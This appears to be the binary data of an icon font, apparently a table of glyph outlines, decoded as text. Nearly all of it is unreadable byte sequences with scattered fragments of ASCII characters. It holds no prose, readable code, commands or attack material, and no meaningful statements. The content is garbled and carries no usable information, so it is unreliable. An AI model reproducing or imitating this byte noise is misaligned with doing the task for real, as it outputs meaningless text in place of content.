	*A	�;-&#����?2#"54654'>54'6'#"&"&+#"'&'"327+.54���VC.9
"6"
8.

DU��_Kx+/<$  $</'wL_����%%#"'&547632&#"3267#53�68U_=9;?WM<:!,9!''&5&Dt��
W9;@:VX;=5:#'57%$/(Rc!-%#"'&547632&#"3267#5;##5#5353>*+CK0-.0F<00",+0[��9)99)�F+.2/BE.0)0*+  @)99)99��!!?#'#3����@-&(/B(����xTTxH����!'7#3/#?#'�#���
�560cb���m--2�@'N�3��'/7#";26=4&'2+"&=463"&462"264&2"&4� 00 � 00 .BB.�.BB.�f4&&4&hP88P8`0 � 00 � 0 B.�.BB.�.Bp&4&&4F8P88P�p+#"'7326=72&#"#"'73254&'&546�y�1$ #$UDA7$&+4]EhՃ>&�@ F.<?&"D,:��02#!"&54635#62654&"54&#"5#3547632a

��
V7#77�
��

A
�����

�d%&�a
%^ �`"2#!"&54635#'#35737#5##����8**88**�F*8*`���DD�`66````����<g"/&76762?6=4/&6=4;2#"/&=4?67"&54;23254&'.4632+"5&#"#�5'���()��� -'/$#$'"K,)#( *%  \�^^���
�
_

_
�
^{"

23		 ��Nk72#"'&547632#"&54767##'"'&'&'&'&'&547&767632676?654'&'&#"&#"&#";2�

		�		


~"		$@
	"
,D()


B*
*2)%VT�



t&:.*;%'/
'��=$	%>����B2#"'6?32654&#"74676'&54632#"&7>54&#".54����]"'6CP>JV.	=1,2(<J����	 >VC4MW5C
,?/&2E
"	!	hnD]��� Ac%#"'=4&+"'3276?#'.'&767676?%567676'&'&#"567632�
		P/?
	��
	
)+-
o>��\)
	

a--"	�
	�

��f
�*
%/;0 1	����&/QZ7#"&'&=46;5#5467632+3"7254#"+3'&=476;263>=32"3254�"&`"!h
'`.3.1!h!�
� +'
(79"	y
`
(5!!6! 	"&#�
��	>FOjs%462"&'462"&%#"&547&546326737632#"&5'632&"26467&#"6=&'&'.'&#"327654&#"#"'73267�BtRSt7JVEJ7?��Q2	6LM6	26MLt
u
/0
) �



3	9QP9

&b&M&
��
�"1	%%	1"%�
n��62"&452#4&#52#4&#!.!!.!i�P`P��P��p!.!!.��iP`�ៀ���u�����%'&76'&'&'&7&''&7>76'&''&7&'&7&'&767.'&7>&'&6337676'&>76726>7>7667676616'767676&766'76'6
"&	
!	 
	

<4< P^&%IK
D7hT0
	




<%�t+hQMw



$
*
	.
(1%#	,
5+, 

32)-%`8
��m%#"'#"&547&54632632654&'&'&'&/&'&5463232654'&'&'&#"#"'&'&'.#"3276u>,Lk>,
LkY		
!

	
'#�,=jK,=iK?		
			
			
����nv��%"###"'"&#&#""'.'&#""##"'&'5"'".#&'&=767654'&'.'&7>32&'&76267632$"2646&"'&26264&"�	%D%

'$

%'�'%
$&��			X2B			X


"
;+--+:		"�@5K5(2CV"&462&2##"&/#"&46326323747"264&"327'.7>&"#'&'3264&�,:()C��
+F&�f	
�

	
�!))0N*O>(	 
p
 ���#727#"'&'&'&=#567676733#�!"0>``4A	�:+p@e&	
��@�#!"&5463!"224"7!2
��

�����
�p

�
�i
`����2#"'"&767.54z�zzV
3=�b�b P0F����(7"&5476=4622654&'&=4#"�*8P8*(G0"�2(88(2���#������I6'41'&76763232#"#"'&76765&"'&76'&5476/4'&54@"1@ #

1	>"
E	�

	+#
#7





����I%1#"'&'&#"=43276767>76767>7632727676o@"1@ #

1	?#
;	�

	+#
#7





����%�4<HP"/#"'&?63'&762.=46;4;2264&"754+";2462"�

2

�

%H$$
"'`T((���~	0



h%� 	�%��((�@@m����V^"=762#"/"'&?'#"&547'"'&?'#"=4;2+7632627#"54;24&"2�
I5



		0HC^5

%
]<%		)Z)K<

]JNpNNp
<H0H-)	
	

	5^CH0	
%<

]
%
	L
]
�pNNpN@�@"%+"&46;'"/&54627625462�	y		T�V��V�		O			�T��T�R		@�@#2"&=#"/"&54?627#"&463�			�V��V�T		@	v		R�T��T�		��6BN2";2+"54;2=4'&'&'&#&'&54;54;254+"%674+"76�,#'!BPPB'"B��#
$
#\7FQ

Q#%5oK		K����J+"'&'&#"+"'&'&#""&543232=&#"+"'&'&#"+"=476762g8



&


 

86N"M6BN


�
�$

OA?��@�!12+"&=46;54>1"514&"654&325�7P9(8(R
��/(89(((0}
EP�0#"/#"=4;7632�		A55A.
�
4P4����
(6@"'&67#"/#"=43'6514'&6'6514'&6#'76F����3(	A5p5
*:B?(	/C0	��|)E|
4P8Q>5DS8	BZ/&:(	1BR	 )���:C75#"'&547.>#"/4/&=#"&=4?6;27/5I.	F	�*\ D%9*

FW[/43		.��h^L:A xDn	

F5����62#!"&?#3264&"�	$	����$p���zB


��1GHd��#"'&'&'&547632327676=4'&'&'&7632&=6;327632#"'2#"'&=476763232+"'543>'&'"&76;2'&#&'&6�
,@'
7'.#5%	
"	'�&		?

D56'	"\��

�
%-)'%

 )%��		</0B,-%$%,5R3

	

��@�#"'&'&=6767626=4&@^BW/?+050);=.ZU;TASX<$*��7'>���`$/ '&'&"/&7&7632'&"'2/&7`^!/2l2-"N=RQ=,v,OF55`X  ^77''55����*9;2+"4;2=4'.'&=476;25&'4+";�'9�9'

x
`��V'-ss-'V	o#..#�����.6"&=##"'&=#7##"'&?>73#"/##"&462�
,,b--#$$0xxx�Z		h
i	Z�xx&&����2"&45#5##335z�zz�z;V*VV*�z�zz�k*VV*VV @`%##5#53533@�*��*����*������
'7'7'5&2"&42654&"�b�aa�Ue;�qq�q�|XX|XC!R! S!S�o2=Up�pp��W>=XXz����#"&5463!2#!2+"#"&546k
��
 �
���� 
����2"&45#75#z�zz�z�000�z�zz��((X��)�W	1567&%5$2"'=5##5##5#35335335++�++��<<�<� 0 0  0 0 �5&�&55&�&b%M F%%F Mb             ����@327#!"&=73272654'&"5463!2'654&"&#"'54[
:��=
:&�&(j)(	W
<
'�99
!
_	&�P�"����%)/2"&464&"#6#7''6323&54'3'7#"������0pp�pp8�fH!81N<�fH!�8��1N<��������p�pp�pVV>��*7�Z~��*7�V>Z~	 @`#5353#53'5335373+535353P(P�PPP(P(PPxP(PPPPP�PPPPxPPPP�PPPxPPxPP����
!6'3462&"347'��zh=V=H@.����(_�`�+==+N.  ��UT����#!"&54?63!27#5##'!'!�
��
!

�Q\Q =��\
��!
'

��..�Vk%!'7V��w��x�*x��xVk7'7�x��xk��x��w����
2"&47#z�zz�z�`��z�zz��`�!������
"&4625�z�zz��`�zz�z�`�@�@'��@������
"&4627'&�zz�z�``z�zz�
``@�@��@������
"&462'�z�zz�
``�zz�z�``�57�����Vk=!'7'7w��x�*x��x`f%2+"/&4?62A

�S		�		�		S�O		�		�		OLp7&4625462762"'			OO		�		�		S�

�S		�		`f7"&4?#"&46;'&462�		S�

�S		�		#		OO		�		Lp%"/"&="&4?62C		OO		�		�		S�

�S		�		Vk7#'7'�*x��xw��x����V7223#"'&7676&2"&46&#"32767'#"'&7>32#"'&57#3&'&#"32673276�		Q�zz�zP@;<%$"!=

	/6-/.	
'�B
		�z�zz�P<F%$~%$13<81
S%����'3"&=462"&=326=4&"265� EbD2F3. 
.2F3@�1DD1�#22#���		��#22# �`2#!"/763'7''7���``�??@?@@?@`����@@@@@@@@����+7333'533533#3#==3!3#53#H0`0x0`00��((XX0XX((@���������0(0((��(00����Gi�%"'677'674677'6735#&'7'.'&'7'&'62''#376?'&'7'&/7'&'35#677'5677&4777#3''>
8�8
8�83::��::-++
   ++   "<�=
 
 
 
�<�=
 
 
 ��$%32#!"/&546;76323'2654&"Jb3	��	3bYNz=" ����	�Y�����%,373&'653#&'6#57#676&'3&'#67&'3�0>3;V1:3^0;1�1=3:S1n

n1�n21n��(@l�V>(��T@'��(?)6H$!�"G6�$G7�6G"%����2+"&546;537#53�
�%ZCY-Y-s��
W--���{�����2+"&546;53#�
�%Z�s��
W--��3������2+"&546;53�
�%Zs��
W--����%-+"&54&'4>3!32265#33+"5�&�&	/^
����	��&&4
�p@�������,B��2++"&="&=&5462632632632=##"'#"'"&#'2767676327676323276546;2654&#"#&'&#"#"'.5&'&#""'&#"354&+326�!@&�&&4&0#(		0	7



	P

4'`D!&&�7&&41	!
6@
		

	
	?e`
�
��*2:"&4622"&4264&"/#5'&4?63232"&4264&"9L77L8C6&&6'+' =	H	
";��L88L7B6''6&=�8L77Lg&6''6�-- pV&
	E	< %8L77Lg&6''6���
#5'7'7537'aa�g ~~ g** ``��g }} g�VT*�*T������"';7'&76?546;7332#"'#"'#753#"'"'+26?243&@`@&3/''./&&0+��+9$2(Z(2$5'\#�	
b55b

�++**T))T��$ ����2"&4##5###5!�  �+*+���  x��+
���� ,-9H\g7"&54657632"/&762'7/1&761#&54?66"&4767"&5472654&'264'�(^5
ED?�>
A.
5�39?Z?,*&*&aY

]#B/7
Abh;-??-E4
 	�&6	"�r6'&=465#5'z&��&���&�p�	  	� �� �� � �
2'463������@@X��
$2+654'#+"&546;5#7U&��p8���$*"	��*���  �`!37#"&=46;2'#"&54632%2#"&'6=4'>�((ojjjj�((GG��G0G��3#!"&53546;25#0p��pp(p0��((((��2#!"&54635!���P����� ��������62#"'2654'762Y:*8':$��A��)&6.�?�����/#3#3#"&'#53&=#53547#5367'7627�2002CCNCC2002D'"4&4"' 000!''!000'"44"'������%/&'.77'6�/�#LZ=X$U2/�S%X>XM# �	753+"&2+"&=&54P�XxT>|
=tN8G(++(G8`�'/7;=4>2+"&=#+"&=.264&"264&"75!58P85
		
�
		
B�@�`�##�
'				'
	ijj��15!2++"&=!35#p(/!�!/%((00�P@!//!�p@@
��@�#'+/32+"&54635#75#75#5#75#75#5#75#75#�800000�00000�0000����@��00X00X00�00X00X00����00`00��%#57332#!"&546;5335!0`@0��0�H�а``� ��  ������%2#"&546;276k		��	K	
	/0]/'u	K	ԗ		)$	/]0/	��#6462"72#!"&546;73264&"�%4%%4���X � �\BB\B�4%%4%���  ��B\BB\����Sv?%2#"&'&#"#"&'.546'&767676&67&7>7>76'&546326'.'&*37&7647636&'7./505656&'.76&'&'563233654&#"&6'.7&'&767>76'76'&'&=>'7676656654'.546/+"'"7>j	('%"

	
	!"B&�
			w	
	
				
.	
0	 V	

4
	

#!'#E	!	-,
@
	


T
!*.
	


	


	
	

	
#		
	!&����	!##5#5!373'53#53 �pP@@`p��P@` 0�0���p@@0���@@P������*#"'327.'327.=3&547&5462676��}PDC52	
!-+
Mz8R 
!Ri�,*%5#5_)8#��@�EP_%#5"'&'.'35'.'&'&54767676753#&'&''5654'&'&'67676;
@E 	@E

�	
�
	
	�
##2
	x
!! j

O\

	�	
	k	 �`!)-+"&=!+"&=76;2264&"264&"'!'#S-		�		-�����* �Kv�				�v�YU�p2#!"&54635!%5!���f��f��p���̄��,,����$,62"&43!2+;#"&54?'#2"&4i""PD4
K���J*5""F""_*� (3���"" �`!!7&47##2%5"&5#3465!��@�  @&P&@  P�t�`� &t&&P0P&&t&�  ��2+5#"&=432+'#732=X�Z9
�9Z�'���	YY�?	�	YY'�����73+46;2'#"&=463U�
�:
7L�P
:
�@��5���77'53#!"&546;#iB��`
+�����B��`���*+����2#!"&54637''U��j��L���*���M����77'3"&4632&#"26{@��]*z�zzV(& Eaa�a�@��]
Vzz�z a�aa����
2"&47''z�zz�z���L�z�zz���M.�R?'7z� ��z l���z����%2#!"&546;>2*264##5#U��W#,#5�(�(p��:

��@HH������!(.59=DKRV"&4676'&246'&76&776&35'6'&24"24"6'&6'&6'&&24"&zz�zz��� 

,
P_
8    h

P
  �z�zz�zrV  u�
^
v/{�9�   ��

�U ����2"&4'7''7z�zz�z8KKKKKKKK�z�zz��KKKKKKKK+*U''7'77*wwwwwwww7wwwwwwww����2"&4264&+4&#"#"3z�zz�z.1"-&%�z�zz��,#0#&2% �`%#!"&5467>327''�'6;)��2F>-G+6R��o,�9();F2.D%,Eƍo-����4'&'&'&'&'&'767676767654&'&67>�
 2#" ,

	
R 	 (9"N.3*-E !&'7O	G&i&+	
6����@2#"'7&546'&'.'&'&'&'&?676'4.'&+"7>����[73z( I
 
		
$	��'u5<[�
	 �`%#!"&5467>32#7#5#�'6;)��2F>-G+6R�DddD@�9();F2.D%,EgddL �`&%#!"&5467>32264&+54&#"#"3�'6;)��2F>-G+6R##@.&:
!//!�9();F2.D%,E�#2#
.@-#/B/ �`%#!"&5467>323'33�'6;)��2F>-G+6RhDddD@�9();F2.D%,EoddL �`%#!"&5467>32�'6;)��2F>-G+6R�9();F2.D%,E����,43+"&54676323&'&'632'5467&#"'327&[� */!�(8,"
 1

.8+C�
SA	"
$!	x/ !/9(#5#"'7$Di!%k
+*�V3+"&54676323&'&'632[$36'�.B3(	%:!	#8$A3L	$6%'7B.)>*!%#-@@�@37'7'77'7�*-``--��b�bb�� ~-``,D��bbbb��@�@7'77'7'537#553���b�bb���(�(P(^��bbbb��l((((((((@�@7'77'7���b�bb��^��bbbb������;CLRZ`i%#''#5&''7&''7&'#5367'767'76753773*2647&='767527'"'77&'654'�# 8@8 ## 8@8 #�� 
/F9 WD  & b/ 9S/
�8 ## 8@8 ## 8e&0m	22�&&�	2�'0����	7'7'"&5467h6����fg49".!r�����gg=!!.��'#57'77627'zC)�e�)C�*�HC)�e�)C���*���%-52+"#"&46264&"6264&"264&"264&"�Oq?,&
	Ppp2S}S�dG,>
	p�p�Ch��'75353753''7'77'53��$�%%%4E!0/o///:A#�%�?DD�DDu%%a0000�00[%%����62"&4&2"&47�C�����U�U�ք������U������� B%//.?'&'.77'67/&?'&'7&/5276�)r`
+iD
N5LJ5
:�7#
	9-)2$"7)qp+i
IK5K5D
:98"

%9/
"	����2"&46"265427."z�zz�z�2%$4$��-UNU�z�zz�<%%%��C$$��	"57!>72&2"&4267#&'67327'&'632#"'673267�!-	��	-!>JV??V?Q2(	�	�"
C�
2 9+??+(	h
;##;
�>X>>X}j(
L�;1>X>	��=3#=3#553#3#53�33��MM�3M3�M�M�3�̀3M33�����
2"&464&#z�zz�z^^B�z�zz��^�^����P�(7++"&546;546335#"5#";275+=+";2Ѐ�xS#� �0` H���� -S� ��8� `����57#'76�P�Pz(P(3P�P�*(P(3����%5#532!##5#"&=#53530���0J&�JJ&��&�!&PP�&J����)<2#"&=47376'"/&546?63#"/5&=4632���
���
-��\�\2baQ��\����� (049#'#"&546327'#"&54632264&"264&"624"73'�C�54%&44&55&44&%4l&&&&��C�-"���5&44&%4554%&44&&&��&&���-����2+#57#"&54635!��*�*�j�����0  0������2"&4264&"62"&4z�zz�z�N77N7V


�z�zz��7N77N<


��@�
+"&54633'����pp���P�p-S	
'73'7'7���|��z\� z4����{[<{@�
%'353!!@��[��@��������-����#75!72#!"5435!73#7'3'53P@��`��9�F�9�0������@@�  �`@@   ��`�	2"&54yny_�_��Z[dd[Z�� ?#53'72#!"&=3!!#5463�7��8kk���+*��+s8*8kk+��UU*UU��%53#5#53#%#533#53M3�MM�3��3�MM�33M�33�MM�3��3���-3"'632'654&'7/#"&'67'327'#"&54?32�,'*Kz0;<�j<	.+Kz3	B<* 	#8#/,TD8(;*;7��;	TD>'	A*;#/#)�W	2"&'6264&"62"&4��zz�z�T<<T<M2$$2$WSDDSSDD�<R<<Re#2##2.�R%#������$���� �3##5#535.5462264&" E3HH0HH3ETxT�8P88P5Q20@@02Q5<TTP88P8����)%#!"&=735735733'35355!3267���'�����(��S,:,�0��0 0 00 0 p  P  p  %%@�#'+3#5##5##335335#75#75#5#75#75#(((�((((�(�(((((�(((((���++++�+++�++V**U++�++V**U++������b��7"'&7632'&#"#.'5.6763276'.#"'&7>32'.'.#"'"'&'&7632'&'&#"7"'.5&7676#"'1&#"1#"547343632=�M8"<j/M�&<%"	
K87("

Z?@2(! 	

2x3
("8E"5.	-	
�-
,	$Q$:0UT�e)#X#"��
9%0/#B"*

Y52H)"+<+
	/
6JD.%>"
.#9A0	(.
$
s	

 @�67#"'&#"+=763232,
8D7"2>m���5�
��@�%%#"'&'&'&=>76'676'67) -J 
E!.	
:��'.E%3
#*S"/(0E~+((����335#�@@�@��������%#!"&'4?5#53#3'#u#�%d � ���^%%�`00`p0����)1%#"'"&57#"&547&54632'462632264&"U+,,>,,++,,>,,�>,,>,�.+
++
+..+
++
+._+>++> �`2#!"&=46;54#!3!2����+���j0��0�� �`32#!"&=463�+���`0������#02"&437'367'?&''753273637'#z�zz�zO,:�9,'000=�.+=
Z�z�zz�D&*"C`$(&Cu6'!/4�(64/��680�P753!!5!�`����@P 000 0y22��@�*2:B"&5475&546267676=&5462&"264264&"6264&"@ 7":&4&  &4& . &4&�  8  �   $	@#	&&$�$&&$�	$&&N  ��  �  @�@%#"&'#53>2264&"�dEXDeeDXE�B//B.�@*66*@*66*p/B//B���� 8@755#"'&=&54623"264"&54754&+'732264&"�``7 &4& :  8 &4& ``80  B>``@$B�$&&$�-	
F  ��$&&$�-@``>#B��  ����$,4<%2#"'"'&'"&5475&546236$264&"4&"26264&"@&&$?. &4&  &4&$3.��  8  �  �&4& u$&&$�$&& = �  ��  �  ����$,4<"&5475'5&546275&5462$"264264&"264&"� � &4& � &4& `` &4&��  H  �  `$]@5$&&$5@]$&&$5005$&&  ��  (  ���� 4<D%"&54754'&+'732264&"2"&5475&54264&"264&"` &4& ``70  �4&  &4&  0    G$&&$�-	
A``=$B��  �&$�$&&$�$�~  (  p�1##"&=&#"#"&/#5;�*).31/**� 01)'33''30����(}2"&4>4'&'.7676'.'&'&'.74'767'&'&4'.'.'263&'/>76636.'&#66z�zz�z�		*4+�#

 ,	

	

 )$!	

6�z�zz���		


0DJ4++#/	&
	 	



	 

��#'+/32#!"&54635#75#75#5#75#75#5#75#75#Z��MMMMMM�LLLLL�MMMMM���4��MMtLLsMM�MMtLLsMM�MMtLLsMM������(%'&"/&?67&7676763�/�
$;%&$6+
2/
$;%	& $������7%#"&'5'45'&>65'&>235462?>?6�`-7)@:
"
*�g"0%�X������*����%2"&4264&"6"&462"&462"&'3z�zz�z��aa�a��NH9
�
�z�zz��a�aa�Z�'!!����2+5354&"3#"&=4p�p&@UW|WU@&�sR�'�+@YY@+�'�R��3'.54632632�4.;B09%%90B;.40,D51B,,B15D,0����'/2"&4>7'>7"2646&'77.'z�zz�z
.(	n.(	K4&&4&H.	(��.	(�z�zz��.	.	,&4&&4@.(	�.(	����2"&45#74654&"3462z�zz�z�**>1D1)"�z�zz��**?7"11"�3#53'#4>54&"#462�BB@&4&@KjK$A!*%&5KJ5,(��
3#5#7##5#�b>��>b`�������@�"7!#!"&547&54632>?632 ���, /(8��? ,&8(��%#!"&5463!2!'���*��J*`J+*�`�`������)5='%.?&/&67%6>3'#5&#"77#4#%"776"&462�


��

	
	(	
��
���U

��

zE&.4	��

.�
6
	
	�f�
	ǃQ"`� !*"/#"'&47632264&"'76327'&"2�<P&&())(l..!()�%%..)(8$$Rh* �$$*����2"&45#75#z�zz�z�***�z�zz��}}�**L04=3'53000L���00����''7'737'767>7��'7)0<?X	n,���$��,n	X?<0)7's
X�(73##5##"&4632264&"��+Eg6!+<;*!8d�@@@)=V=)a
��@�!)19AIQ62"&42#"&42"&42"&4$"&4622"&462"&462"&4&2"&462"&4�  `     (  �  �    _    2""�"b""b""�""�""""�""""�""�#%3#!"&53"&5463!2!264&"�KA��AKj��j� 
��5����
��@�%#5.54>?@+&@&+!//7*#�*;11;*/W9-

07X��2#!"&54635#75#75#X��Ƞ�������0��00X00X00`h=!%5!%5!5!�@��`�� x00`00`00��00����'2"&43##5.'#53>753264&"�B//B/!!`C*C`!!`C*C`�|WW|W/B//B*C`!!`C*C`!!`�W|WW|��@�'2+"&=46;5462264&"754&"�;R;t  f$4$��();;)(�  �($$(����&2#"'&/3264&"#767653'7'7�VzzVB54.0�``�0.47��-``,�z�z&%;
0`�`0
;%&�*-``-���� $753'7'727#"&4632&#"%'��-``,~D0
7@VzzVA6
0DE``�*-``-�0	&z�z%0`�`���`�,17'"&'&74>7654'&"./&54762'367'00
	2
J
'

01���
	]1VD0F$
%,
-2**)6V
48<V13��J,!"+!)��%#!"&=4?7'�����૫����ee�pUU�p2#!"&54635'���e���p��
[+uu+u����3#5"&46327#5264&"p00kTxTT<-&k^�P88P8�0�^k&-<TTxTk0��8P88P����+"&4622&=#&'5+&5#&=46;d  %U  r
		
i��

��i
		
r��2'"#"54?6765'uy�iy�gs����)-)B)-(���,�����#73462"7'&#7'3��6�2H33H�$2�E��Zh(h��H22H3�$�hs
!�����%'#5'7'7537,l0l`l0ll0l`l0�>T?}}?T>>T?}}?T��#3#!"&53546;2#355#5##3350p��pp�p808800��(((�088088�p"'64'7'64'#'##/57373^""E44**V `0P  �` 1"^"DC4�4*x*> h@��pP@�@=!%5!%!!���������@++k**�+����!+13%''#5.53327'#"&='7''5462'65'<:::"_!.9P'H1 
)�o�	�)8)\R"]:::!_RRX92C!(�n�	M�((�.&�!��@�6"&=46273#5.5326�8))8)4'P9.9P'HbH�(�((�#:WRRW:2BB���+#3#3#3+#5#"&=35#535#535#546;2888888 V ������ � P%+%+%*MM*%+%+%����327#"&5467�pP("pIVzZECOqEZzVIp#����%'5#'5%#5#5��������$����ٶ����b7"#"'"&#7'23"&'.'&54%"?6=.#"'726&##'"33'726&#+67632�5		�]0?n9+'

>-		&?"9]#"2#��I��U5
%,'*
0OAq! :�Jq�	H
.����%5#3'35#'735#7#35�``@``@````@``@`�`@````@``@````@�
3#"&4632��U3F22#�U�#22F3��!"&46325#"&463275#` ):((�):((�����'%8%z�'%8%�55@�''�������@@��l� "&53'!57547'7'675462�"R�'$��)?%�-;L��$)s!@�^�

I��`�%+#?=4676&2!57546754"&5�",	�	,"-;)��);-H"H9$r


r$9H
I/r**r/I
����`�"&537!5754675462�"R^)��);--;d**r/I

I/����%3'#"'.5347'6320�>4GF4>�&G6;=4I(�=ez

ze=-}|����%#"&547563237'775
��

�m*D1 %�
�	
�
8)�8��%53#!"&546;#3#5'7#U+������+��W+��*+��U�W��	����'+/;=!353"&=462%5335!"&=462'5!353"&=462`P`��P`���`P`      `P     `P     `����!.@2+"&=46354&+";26554&";2754&+";265R.@@.�.@@.!z"*g�B/�/BB/�/B�f
e�	�f
e����5%''7�hhJ�I��E�s��`hh�Q �����'159=E2#!"&=46;543#367#"=4"32%#326'535353+26=�0"��#3f-*:& 2��Ƞ��������"02$� P	
�?�� 2
��88@  @    ��">'72&54675353'7'7+"&54676323&'&'632�t/
0�)	A */!�(8+#
 1
	.8+C8'"0))u7��.!/8(#4$ '7@�133#kjkk������������/EU#"'.7>32#"'&767632.'&76732#"'&+"#"'&547&'&7>73�

&	

��

&9#
fX		�"&(!(&#!%
-s=#



#=�%! #0�P	&%"&4632#"&46322!54%2#54&'61$$$$�$$$$FZd��12]��#2##2##2##2#,& 66 66��$"&4622!5453##5#5353HP88P8�x���@@ @@ �8P88Ph5+00+� @@ @��6"&4622!54�P88P8�x����8P88Ph5+00+0�P%#!"&=463!2!5!���n�� ��Y����� �2+"&5463#�������n�� ������(%#!"&5463!2!'2+=4&+5463`��
�B
XB�� 
�`�`@�� �����74&546323#&'35#"zV�-)�@2NzVc�Vz ��2@�)?cVz��@�2.54264&"^�^P((7*#�0!!0!�\A4�/.HDV!Ay!.!!.����	
!+"&'%7!�+�	��	����SS����&57&5474'./6?%&62&&"'767>?_2-M.&9-2'
*3M��)8�8+
�+B�B,49�IF=JfC"

!CJ=FI.

2CI	''�48JJ66/%@�27&"5'277!
�
,
�
,
``
|ի��������3#3##5#535'#53'37�p0IXXPXXJ0pPpp��00``00����#"'"&5&5474636;227'�+M�M+*Ia		aI+�ґ�+6j6"//"65#H"//�bc����
"9'&7632264&"264&"6264&"7#"&#&#"#"/47632W��CTS�XX�

KUSM

Sba>��@
f�i�			
!���|D676.'&'&'>'&''.7.76&'#&3'&'6h28>E3<K2I	&-36?AD&$	
%$$	1Q6<5)l>".:8�L
r@-H
!9?+!
��@�
@����� �@=333353� � � �� ������#5"&5472654'�.�Iz�zI!<_�_<���2>`VzzV`>!2KC__CM0��
#"/&54?676&#"` �

{

�� ��

{

�g����!#"'7'#"/&54?676&#"�&��: �|��U%���� ��|�g��
2#!5#54635#!5`&P�P&�� &�UU�&���`PP����&%2#"'#"/+&'+53762763236�#
8(6J:3 7"*
�,(��(��܈
Q!��
 +#546;#"%2#54+553+532!3#"&=300#CD4#0
CP0#DD��DC$0DDD#00#DD0��CC#11$CC `
?#5337#53 -M�3�2R�2 a��aa��a����2"&4264&"z�zz�z��aa�a�z�zz��a�aa�����2"&462"&4264&"�V==V=�zz�z��aa�a(=V==V�z�zz��a�aa�����!%32#!"&54264&"%5!353����V4&&4&@���-2n#H���&4&&4�VV//����
 +G7"&546?"&5467"&546?"&546?+"&54676323&'&'632k

S

S

S

$39'�.?3(	%:!	#8$A3L0


'





'


�6%';E/)>*!%#-@`� #2+"&4623&54264&"264&"P88(�(88P9O�4##4#4##4# 8P88P88(""(e#4##4##4##4`� 5>327#7&#"wLV@P�P1?9\oFW8L�M)A5`p72673#"&46327#7&#"�*C.]<IggIH44�F&67MM<.&8Hg�g44�F(MnM����2"&45#z�zz�z;��z�zz�k**�@�=!@�**@@@=!%5!5!5!@��@��@��@@$$�$$H##K##����#5!5553!'7U*UU*�UU(S}>SS>�S}>SS>����	3'#57��A�@�A���@�A�@���7'&47''67&67>t[�V!����0M0
@�YE�����0>0K0�P
3!'7!�/��U!��!U78�V"��"V0�P
3!'7'7!/7U!��!U��8`V"��"V��+2#!"&546;735&"3267##"&4632���X � !!\BB.';
	*"22"!-`��  �c!!B\B-$2D2-.�R7'77����.����������$2"&4264&"327'#77#'?67�jKKjK_B//B/ 
00`K�K`0 �KjKKj�/B//Br
8jP��PF16����17&'.'>?"#"&54'2%&'&'67>3�:%&<>%
46<UG+@\4?Z6* @
+�K	&
)i\B&Q9�L9963.68@'����
%62#62"&4264&"6"&462"&462�B6��zz�z��aa�a���#z�zz��a�aa�Z��77'#5'R������)��RRURR.���i���%'5'#"&4632"264&"n!m(5;SS:;S"�R::R9�n!n"SvTT;5(9R::R��15-5*����++��������;C%/+"/&'/&?4&465'&?66?6;276264&"n/+6	U	6+-.+6	U	5+-�>,,>+�"G77	G	""G77	G	":*>**> �`%5"675��Oi()�ȓX49�U����$$2"&547'#"&46327&5462#"'&4$$4$�&%�&4&&��h$4$$X&4&W
&&4&W


X��
'!5726�M
�
M�%&%� `��` ��
'7;''7#7'�"|"ڄ1��"-)K1�1K"|"�1��"-�K1�1K��7%!3k��@���������
!3��@@����������A%'/'#5'75'7'7'77''7'7'75'7537?7'7�9:9>@*0*@=:99X??X99:=@*0*@>9:9X<<X�!*!9X$G@*CB*AG#X9!)!$$!*"9	X#GA*BC*@G$X	9!*!##����?5!&"&547'7632&2#/767#53&''7&'#5'3#7#&54Pr1Cv�z,;$1 1$;,00�C1�zVI7$1 1$$1 1$7IV��!!2#!"&5463U��*��U��U��*��2#!"&5463U�����*��	%'7'?/?/�n!}}!n�99(<5F�`�KK�`���$D.@���	%'7'?/?/?�n!}}!n�99(<5FF5<�`�KK�`���$D.@@.D$
��	77'?�}!n�99�n!KK�`��`�`�33#5335333`@�@�@ @���pp��������7537"&4632764&"53�0�(p�ppPA5!xXX|XX�����5APpp�p(!��X|XX|Xf00��`�%)2#!57"&=4264&"75#264&"75#\�\+ � +Bpp�@p�"3�++�3��~``�~``	����#'#5'%'2"&4#5!#5/'#5�*�&��&&�hLLhL`@��@n&&�&�*�@@,&&&&LhLLh****�&&&
@@�n
73#'%5#535c��c�c���K1Kc�dK1K p,97"&46;632#"/;&47#"2+#"&4632654'&+328!!_#!//!#pLL
�!!_#!//!#pLL
�!.!/B/I
�!.!/B/I
��@�2'654&#'755"&547�B^G1PPPPB^Gc`C0'2H=RQ��=RQ=`C2%2H �`463!2#!"&5!!64"
�

�p
���P.H

��

�r��@�2#!"&5463!24"(

��

�r�
�p

�
��P��.����
##"'654'624767&'&&547P@A:GH8@@7�
87�78dE�D--C`_E,�R%";RP<#wR%%<QS;#��2#!435#35#35#X��@ f&s&s&��@X(�((((((����7"&5475462#354&"�18P81(? 

�9(88(9�22��2'&5?#"&=4?6353
~	w9
@��	R&������3"&=4?32#!53�~	w9
��@�	R&�������!&+7#7##"&54676323&'&'632535i$35(^!!cD0@3(	%:!	#8$A3L�Q;6%&,$Cg7-)>*!%#-@� �`����2"&4264&"7'5z�zz�z��aa�a�^m�z�zz��a�aa��m8A}����"*26462"32"&5475'2654&'#"&462462"�



Vzz�zS�!}%_�_P;.�
��
B
[z�zzVh>�!}-9C__C=[,j


!


��`�#'+52##'##57"&=4>2654&"75#;5#2654&"�8E3- !,,S,1! -67Knn�nn?�(%�-!,,!-�$��

�WWW�

����2:3#53##5#535.547''7'#53#76327#264&"@�#X4'??*??'4(#�?% !-$Q?z4&&4&��EX)=.(88(.=)(E�#% Q�&4&&4@�	75!+"&!5373 � ��Pj+��F    3�@
%#7''777��3mZ� �Z�333nZ� �Y�43�@
3'''77:�3�Z� �Zm@�3�Z� �Zn����)3=3;!53275&'&'&53<=!&'.5#67#6XH*g	E�EC%*G��1
WM2'900!%.Q

q#>
$$
=$����0%"#&#"#"&=332=.#"#&#"#5467632#&j	(!+

	gNL9;� w$"vPt:=P`� 2.#"#56�Lw4\9?1P�P@XE5A)M�L8��@�%2+"&=46;54&"#462264&"��$4$&;R;t  ��($$);;)(�  .�R%7'#!"&=463!2```
��

.
�b��bV

�

�p37'#UkkUp��p�� '%4&'5'6'''567''#537'7'5V</@U �3�($._kUU	[3�3R-lE6* �h3��(!
-
_�p�
[�3<1���"&462'#5'##576323�  (9&29(Q)(o	-HP  �&>`�`D�@Pp&E(����
'5#75#���000��`@00P``��@�#'&4?3264&"@=�==��FdFFd
